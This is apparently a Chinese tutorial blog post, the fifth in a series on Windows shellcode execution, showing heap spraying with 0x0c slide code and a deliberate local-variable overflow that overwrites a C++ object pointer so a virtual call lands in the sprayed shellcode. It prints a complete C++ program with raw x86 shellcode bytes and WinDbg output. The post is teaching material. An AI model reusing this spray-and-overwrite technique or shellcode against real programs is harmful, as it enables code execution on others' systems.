windows:shellcode 远程线程hook/注入(五)
前面几篇文章介绍了通过APC注入、进程注入、windows窗口处理函数回调、kernercallback回调执行shellcode,今天继续介绍通过heap Spray(翻译成中文叫堆喷射)执行shellcode的方法;
所谓堆喷射,本质上是在堆上分配空间,然后拷贝shellcode到这里执行,思路和之前分享的驱动隐藏(https://www.cnblogs.com/theseventhson/p/13170445.html)方法类似。不一样的地方在于:这里会申请大量空间(业界常见的是200M),填充0x0c(这就是所谓的slide code),然后在空间尾部拷贝shellcode;那么问题来了:
- 为啥那么要申请200M这么大的空间?
我们的shellcode在该空间的尾部,从 “200M-shellcode开头” 这段充满0x0c代码的任意地方开始执行最终都能顺利“滑”shellcode执行,极大增加了shellcode被执行的概率。如果没有slide code,那么必须靳准控制eip挑战到shellcode 的入口,增加了难度;
- 为啥用0x0c填充,而不是用其他代码填充?
(1)0x0c的代码是or al,0ch; 不会影响我们的shellcode; (2)0x0c0c0c0c处的数据被填充成了0c0c0c0c(后面会详解);如果填充其他数据,会导致程序跳转到错误的地址,最终执行出错;
接下来解读核心代码;
1、申请堆内存,填充0x0c,如下spray0:
就是在这里,因为spray+buflen远大于0x0c0c0c0c,通过memset把0x0c0c0c0c的内容也改成0x0c0c0c0c;
新手注意:这些变量都是在函数内部生成的局部变量,本身在栈空间,函数一旦结束,空间会被释放;但spray例外,其指向堆空间,0x0c和shellcode都被复制到了堆空间,函数结束后仍然存在,除非手动释放,或则程序结束被操作系统回收;
通过process hacker能查到0x0c成功写入栈空间:
shellcode也写入了:
内存也改成可执行(这里有个坑,后面会详细解释):
2、覆盖虚函数表
(1)buflen和factoryObj都在栈空间,相距0x0c=12字节,所以MAGICCODE前面12字节是0,后面8字节才是覆盖factoryObj指针的内容;
(2)另一个坑:factory* factoryObj = new factory(); 单步调试这行代码时总是出错,windbg提示如下:
0:000:x86> p
(5a78.1780): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
ucrtbased!calloc_base+0xe5d:
7a90bfbd 894204 mov dword ptr [edx+4],eax ds:002b:00f2f024=00000000
从错误提示看,属于Access violation,常见的c0000005类型错误,读写了不该读写的内存(3环exe程序经常会弹出c0000005类型的错误);从具体出错的位置看,是mov dword ptr [edx+4],eax这行代码造成的,具体涉及的内存地址是ds:002b:00f2f024,那么进一步看看这个地方都存了啥,如下:
0:000:x86> dd 002b:00f2f024
002b:00f2f024 00000000 00000000 00000000 00000001
002b:00f2f034 0c800000 00000047 fdfdfdfd 0c0c0c0c
002b:00f2f044 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
002b:00f2f054 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
002b:00f2f064 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
002b:00f2f074 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
002b:00f2f084 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
002b:00f2f094 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
下面的全是0c,看着好眼熟,这不就是自己填充的slide code么? 这段内存不就是自己在spray0里面通过new char申请的么?当时为了执行这段代码,调用virtualProteced函数把内存属性改成了PAGE_EXECUTE, 可执行的问题是解决了,但还要覆盖factoryObj指针了(factoryObj是new出来的,其对象也会被分配在堆空间),同样需要读写权限,只给执行权限显然是不够的,同时也需要读写权限,所以在spray0里面就要这样改了:VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld),如下:
继续:单步执行完memcpy后,factoryObj被成功改为0c0c0c0c:
继续运行,成功执行shellcode:
exe的目录下也生成了1.txt文件
注意:上面的截图并不是一次调试过程中截取的,而是多次,所以同一个变量的地址会不同,但并不影响最终的效果展示;
完整代码:
#include <iostream> #include <windows.h>
#include <stdio.h> #define MAGICCODE "000000000000\x0c\x0c\x0c\x0c"//bufLen和factoryObj之间间隔了0xc,所以这里有12个0,从第13位开始才覆盖factoryObj原值 class factory
{
char m_buf[] = {};
public:
factory()
{ } virtual int factoryCreate1()
{
printf("%s\n", "factoryInit1");
return ;
}
virtual int factoryCreate2()
{
printf("%s\n", "factoryInit2");
return ;
}
}; /*
* 溢出局部变量,并利用HeapSpray执行自定义的shellcode
*/ void spray1()
{
factory* factoryObj = new factory();
unsigned int bufLen = 0xffffffff;
memcpy(&bufLen, MAGICCODE, sizeof(MAGICCODE) - );
factoryObj->factoryCreate1();
return;
} /*
* 申请200M堆空间
*/ void spray0()
{
unsigned char buf[] = "\xE9\x8B\x01\x00\x00\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x64\xA1\x30\x00\x00\x00\x85\xC0\x78\x0D\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\xC3\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x40\x53\x56\x8B\xD9\x57\x89\x5D\xF4\xE8\xCD\xFF\xFF\xFF\x8B\xF0\x33\xFF\x8B\x56\x3C\x39\x7C\x32\x7C\x75\x07\x33\xFF\xE9\x9C\x00\x00\x00\x8B\x44\x32\x78\x85\xC0\x74\xF1\x8B\x54\x30\x18\x85\xD2\x74\xE9\x8B\x4C\x30\x24\x8B\x5C\x30\x20\x03\xCE\x8B\x44\x30\x1C\x03\xDE\x03\xC6\x89\x4D\xFC\x33\xC9\x89\x45\xF8\x4A\x8B\x04\x8B\x03\xC6\x80\x38\x47\x75\x4E\x80\x78\x01\x65\x75\x48\x80\x78\x02\x74\x75\x42\x80\x78\x03\x50\x75\x3C\x80\x78\x04\x72\x75\x36\x80\x78\x05\x6F\x75\x30\x80\x78\x06\x63\x75\x2A\x80\x78\x07\x41\x75\x24\x80\x78\x08\x64\x75\x1E\x80\x78\x09\x64\x75\x18\x80\x78\x0A\x72\x75\x12\x80\x78\x0B\x65\x75\x0C\x80\x78\x0C\x73\x75\x06\x80\x78\x0D\x73\x74\x07\x41\x3B\xCA\x76\xA3\xEB\x0F\x8B\x45\xFC\x8B\x7D\xF8\x0F\xB7\x04\x48\x8B\x3C\x87\x03\xFE\x8B\x5D\xF4\x8D\x45\xC0\x89\x3B\x50\xC7\x45\xC0\x4C\x6F\x61\x64\xC7\x45\xC4\x4C\x69\x62\x72\xC7\x45\xC8\x61\x72\x79\x41\xC6\x45\xCC\x00\xE8\xF9\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x8D\x4D\xDC\x89\x43\x04\x51\x8D\x4D\xE8\xC7\x45\xE8\x55\x73\x65\x72\x51\xC7\x45\xEC\x33\x32\x2E\x64\x66\xC7\x45\xF0\x6C\x6C\xC6\x45\xF2\x00\xC7\x45\xDC\x4D\x65\x73\x73\xC7\x45\xE0\x61\x67\x65\x42\xC7\x45\xE4\x6F\x78\x41\x00\xFF\xD0\x50\x8B\x03\xFF\xD0\x89\x43\x08\x8D\x45\xD0\x50\xC7\x45\xD0\x43\x72\x65\x61\xC7\x45\xD4\x74\x65\x46\x69\xC7\x45\xD8\x6C\x65\x41\x00\xE8\x94\xFE\xFF\xFF\x50\x8B\x03\xFF\xD0\x5F\x5E\x89\x43\x0C\x5B\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC\xCC\x55\x8B\xEC\x83\xEC\x24\x8D\x4D\xDC\xE8\x92\xFE\xFF\xFF\x6A\x00\x8D\x45\xFC\xC7\x45\xEC\x48\x65\x6C\x6C\x50\x8D\x45\xEC\x66\xC7\x45\xF0\x6F\x21\x50\x6A\x00\xC6\x45\xF2\x00\xC7\x45\xFC\x54\x69\x70\x00\xFF\x55\xE4\x6A\x00\x6A\x00\x6A\x02\x6A\x00\x6A\x00\x68\x00\x00\x00\x40\x8D\x45\xF4\xC7\x45\xF4\x31\x2E\x74\x78\x50\x66\xC7\x45\xF8\x74\x00\xFF\x55\xE8\x8B\xE5\x5D\xC3\xCC\xCC\xCC\xCC";
SIZE_T shellcodeSize = sizeof(buf);
unsigned int bufLen = * * ;
DWORD dwOld = ;
char* spray = new char[bufLen];
memset(spray, 0x0c, sizeof(char) * bufLen);
//memset(spray + bufLen - 0x10, 0xcc, 0x10); //写入自定义的shellcode,即0xcc
memcpy(spray + bufLen - shellcodeSize+, buf, shellcodeSize); //写入自定义的shellcode,注意spray + bufLen - shellcodeSize+1地址对齐;
//VirtualProtect(spray, bufLen, PAGE_EXECUTE, &dwOld); // 设置堆内存可执行代码
VirtualProtect(spray, bufLen, PAGE_EXECUTE_READWRITE, &dwOld); // 设置堆内存可执行代码
return;
} int main()
{
spray0();
spray1();
return ;
}
参考:
1、https://docs.microsoft.com/zh-cn/windows-hardware/drivers/debugger/getting-started-with-windbg windbg用户模式调试3环的exe
2、https://blog.csdn.net/lixiangminghate/article/details/53413863
3、https://blog.csdn.net/andy7002/article/details/72834644
windows:shellcode 远程线程hook/注入(五)的更多相关文章
- windows:shellcode 远程线程hook/注入(一)
https://www.cnblogs.com/theseventhson/p/13199381.html 上次分享了通过APC注入方式,让目标线程运行shellcode.这么做有个前提条件:目标线程 ...
- windows:shellcode 远程线程hook/注入(三)
今天介绍第三种远程执行shellcode的思路:函数回调: 1.所谓回调,简单理解: windows出厂时,内部有很多事务的处理无法固化(无法100%预料外部会遇到哪些情况),只能留下一堆的接口,让开 ...
- windows:shellcode 远程线程hook/注入(二)
https://www.cnblogs.com/theseventhson/p/13218651.html 上次分享了基本的远程注入方法,遗留了一个问题:shellcode执行完后怎么回到线程su ...
- windows:shellcode 远程线程hook/注入(四)
https://www.cnblogs.com/theseventhson/p/13236421.html 这里介绍了利用回调函数执行shellcode的基本原理:这里介绍另外一种利用回调执行she ...
- 《windows核心编程系列》十九谈谈使用远程线程来注入DLL。
windows内的各个进程有各自的地址空间.它们相互独立互不干扰保证了系统的安全性.但是windows也为调试器或是其他工具设计了一些函数,这些函数可以让一个进程对另一个进程进行操作.虽然他们是为调试 ...
- 使用远程线程来注入DLL
使用远程线程来注入DLL DLL注入技术要求我们目标进程中的一个线程调用LoadLibrary来载入我们想要的DLL (1)用OpenProcess函数打开目标进程(2)用VirtualAllocEx ...
- 【windows核心编程】远程线程DLL注入
15.1 DLL注入 目前公开的DLL注入技巧共有以下几种: 1.注入表注入 2.ComRes注入 3.APC注入 4.消息钩子注入 5.远线程注入 6.依赖可信进程注入 7.劫持进程创建注入 8.输 ...
- 实现远程线程DLL注入
### 32位:远程线程注入 远程线程注入是最常用的一种注入技术,该技术利用的核心API是 `CreateRemoteThread()` 这个API可以运行远程线程,其次通过创建的线程调用 `Load ...
- Dll注入:X86/X64 远程线程CreateRemoteThread 注入
远线程注入原理是利用Windows 系统中CreateRemoteThread()这个API,其中第4个参数是准备运行的线程,我们可以将LoadLibrary()填入其中,这样就可以执行远程进程中的L ...
随机推荐
- HDU 5963 朋友 (找规律,思维)
HDU 5963 朋友 题目大意 B君在围观一群男生和一群女生玩游戏,具体来说游戏是这样的: 给出一棵n个节点的树,这棵树的每条边有一个权值,这个权值只可能是0或1. 在一局游戏开始时,会确定一个节点 ...
- Xenon's Attack on the Gangs(树规)
题干 Input Output Example Test 1: Test 2: 3 5 1 2 1 2 2 3 1 3 1 4 3 5 3 10 Tips 译成人话 给n个结点,n-1条无向边.即一棵 ...
- 题解:2018级算法第六次上机 C6-不Nan的过河
题目描述: 样例: 实现解释: 一道因为没排序做了一个小时没做出来的二分答案模板题(手动呲牙) 知识点: 二分答案,最大值最小化 坑点: 排序,judge(mid)函数内计数的实现 其实从最长一步的最 ...
- SSTI(模板注入)
SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...
- (四)pandas的拼接操作
pandas的拼接操作 #重点 pandas的拼接分为两种: 级联:pd.concat, pd.append 合并:pd.merge, pd.join 0. 回顾numpy的级联 import num ...
- python面试题三:Python 网络编程与并发
1 简述 OSI 七层协议. OSI七层协议模型主要是: 应用层(Application):为用户的应用程序(例如电子邮件.文件传输和终端仿真)提供网络服务. 表示层(Presentation):使用 ...
- 使用eval将字符串转化成字典时报name 'null' is not defined错误解决办法
在接口测试过程中,为了取值将形如字典形式的字符串使用eval()方法转化成字典方便取值 str={"code":100,"num":1,"data&q ...
- MYSQL 之 JDBC(十): JDBC的元数据
可以从Connection对象中获得有关数据库管理系统的各种信息 获取这些信息的方法都是在DatabaseMetaData类中. DatabaseMetaData:描述数据库的元数据对象 Result ...
- 【Nginx】如何封禁IP和IP段?看完这篇我会了!!
写在前面 Nginx不仅仅只是一款反向代理和负载均衡服务器,它还能提供很多强大的功能,例如:限流.缓存.黑白名单和灰度发布等等.在之前的文章中,我们已经介绍了Nginx提供的这些功能.小伙伴们可以到[ ...
- ant design pro 实战 : 使用 ztree
应当指出,antd 是有 ztree 组件的,但是太简单,无法满足复杂的业务需求. 所以我还是决定使用zTree. 用 npm | cnpm 或者 yarn | tyarn 安装,这一步略. 在 js ...